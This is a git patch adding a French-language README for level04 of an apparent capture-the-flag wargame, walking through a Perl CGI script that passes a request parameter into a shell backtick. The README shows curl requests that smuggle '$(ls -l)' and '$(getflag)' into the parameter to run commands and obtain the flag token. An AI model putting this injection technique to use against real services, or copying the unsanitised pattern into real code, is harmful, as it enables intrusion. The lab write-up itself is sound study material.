From 0c6874708414dbc0212a52e1f0af69226514f4d9 Mon Sep 17 00:00:00 2001 From: Raphael Date: Tue, 27 Jan 2026 13:51:55 +0100 Subject: [PATCH] docs(lvl04): adding the readme --- level04/README.md | 35 +++++++++++++++++++++++++++++++++++ 1 file changed, 35 insertions(+) create mode 100644 level04/README.md diff --git a/level04/README.md b/level04/README.md new file mode 100644 index 0000000..cebad1d --- /dev/null +++ b/level04/README.md @@ -0,0 +1,35 @@ +Lors de l'arriver sur le level04 je remarque le fichier level04.pl + +Ce script est en perl et se presente sous la forme + +```perl +#!/usr/bin/perl +# localhost:4747 +use CGI qw{param}; +print "Content-type: text/html\n\n"; +sub x { + $y = $_[0]; + print `echo $y 2>&1`; +} +``` + +Nous pouvons donc voir que ce script recupere un argument (ici x), et affiche cet argumements + +```bash +curl -d x="Common will just echo" http://127.0.0.1:4747 +Common will just echo +``` + +Nous pouvons donc afficher ce que nous souhaitons en executant echo. Mais egallement un subshell + +```bash +curl -d x="\$(ls -l)" http://127.0.0.1:4747 +total 4 -r-xr-x---+ 1 flag04 level04 152 Jan 26 13:42 level04.pl +``` + +Nous pouvons donc executer les commandes donc testons avec getflag + +```bash +curl -d x="\$(getflag)" http://127.0.0.1:4747 +Check flag.Here is your token : ne2searoevaevoem4ov4ar8ap +```